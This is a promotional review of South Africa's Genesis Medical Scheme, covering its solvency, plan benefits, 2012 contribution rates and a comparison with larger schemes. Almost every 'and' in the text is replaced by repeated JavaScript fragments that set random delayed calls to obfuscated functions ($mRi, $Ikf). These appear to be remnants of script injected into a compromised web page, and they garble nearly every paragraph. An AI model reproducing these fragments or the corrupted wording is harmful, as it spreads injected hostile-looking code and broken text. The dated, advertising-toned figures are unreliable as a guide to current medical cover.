Scheme Background andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Review:

Genesis Medical Scheme was established in 1995 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is classified as a medium-sized scheme.

Their solvency far exceeded the legal minimum requirements andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and they were also classified amongst the top 5 open medical aid schemes in South Africa. They have in excess of R200 million, which is 4x more than the legal requirement.

Genesis is a self-administered scheme, which leads to their administration costs being of the lowest in the industry.

When reading the profile of Genesis on Twitter, it gives a clear understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding about how the scheme operates. It reads as follows:

“Never heard of us? Well that’s kinda the point….we don’t waste members money on massive advertising. We stick to offering brilliant & affordable medical aid!”

Product Review:

√	Unlimited hospital cover, at any private or state hospital of choice
√	Emergency pre-hospital treatment, evacuation andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and transport within South Africa
√	Cover for major medical illnesses – out of hospital benefits limited to statutory prescribed minimum benefits (“PMB’s”)
√	Cover for basic dentistry – R25 000 per beneficiary per annum

 

3 of the 4 plans, namely Private, Private Plus andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Private Comprehensive have the same core benefits.

These include:

√	Unlimited hospital cover, at any private or state hospital of your choosing
√	Cover for basic dentistry – R25 000 per beneficiary per annum
√	Emergency pre-hospital treatment, evacuation andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and transport within South Africa
√	A benefit for diagnostic scopes.
√	Cover for certain major medical illness, such as cancer or stroke, up to R550 000 per person per annum

 

Private offers only the above as it is a HOSPITAL PLAN only.

Private Plus andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Private Comprehensive further to the core benefit also provide day-to-day benefits which include medical savings, consultation benefits andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and prescribed andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and/or over-the-counter medicines.

CONTRIBUTIONS 2012

CONTRIBUTIONS	PRIVATE CHOICE	PRIVATE	PRIVATE PLUS	PRIVATE COMPREHENSIVE
Adult	R750 per month	R1 115 per month	R1 350 per month	R1 965 per month
First child dependant	R320 per month	R320 per month	R320 per month	R320 per month
Each additional child dependant	R60 per month	R60 per month	R60 per month	R60 per month

Unique Features:

Many medical schemes, in the process of trying to reduce costs have restricted the use of hospitals andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and service providers, in a way forcing members to make use of pre-chosen providers.

Members on all Genesis options have the luxury to choose their own hospital andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and their own doctor.

Genesis offers no-frills andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and have easy-to-understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and benefit options.

Child dependant rates are exceptionally well positioned in the market with a flat rate across all options of R320 per month for the first child andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and R60 per month for each additional child.

A further exceptional andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and unique benefit across all options must definitely be the R25 000 basic dentistry benefit, which includes consultations, fillings, tooth extractions, x-rays andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and root canal treatment.

Comparison with Other medical Aid Schemes:

When comparing Genesis Medical Scheme with some of the bigger medical schemes in South Africa, it’s clear that the size of a medical scheme does make a difference.

If you belong to one of the bigger schemes, you often feel like you are merely a number. Every time you phone in you end up speaking to another call centre employee.

At Genesis that’s not the case. You are treated as a real person, by a real person. As the scheme’s administration is done in-house, the service is a lot more personal.

Many of the bigger schemes including Discovery, Momentum andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Fedhealth have so many options that it actually makes your head spin just trying to count how many options you can choose from!

Then there are the additional wellness programmes to attract new members, which can also be a bit complicated to understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and.

With Genesis the attraction is in the simplicity of their plans. Some people really just want to keep it simple, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and if you are one of those who want exactly that, then Genesis is definitely the scheme to look at.

Information regarding Genesis Medical Scheme sourced from the Genesis Medical Scheme website.